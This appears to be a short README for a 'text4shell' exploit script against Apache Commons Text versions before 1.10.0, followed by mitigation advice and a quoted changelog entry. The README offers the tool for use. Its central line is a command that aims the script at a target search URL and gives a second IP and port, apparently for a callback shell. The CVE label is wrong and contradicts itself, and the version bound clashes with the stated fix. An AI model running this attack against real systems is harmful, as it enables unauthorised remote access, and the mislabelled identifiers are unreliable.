riskootext4shell

text4shell script for Apache Commons Text < =1.10 CVE-2022-33980

• The Apache Commons Text library is an alternative to the native functionalities of the Java JDK.
• Versions prior to version 1.10.0 of Apache Commons
• Similar to CVE-2022-33980

python3 text4shell.py -u http://192.168.245.111:8080/search?query= -i 192.168.111.186 -p 22

Mitigation

The main solution is to urgently update the Apache Commons Text component to the available versions that fix this vulnerability. Specifically, you must update to version 1.10.0 or later of Apache Commons Text.

In this update, it was decided to disable those problematic substitutions by default. The library's changelog file includes the following change:

Make default string lookups configurable vía system property. Remove dns, url, and script lookups from defaults. If these lookups are required for use in StringSubstitutor.createInterpolator(), they must be enabled vía system property. See StringLookupFactory for details.

Apache has published a statement with official information and a reference to the update that fixes the problem.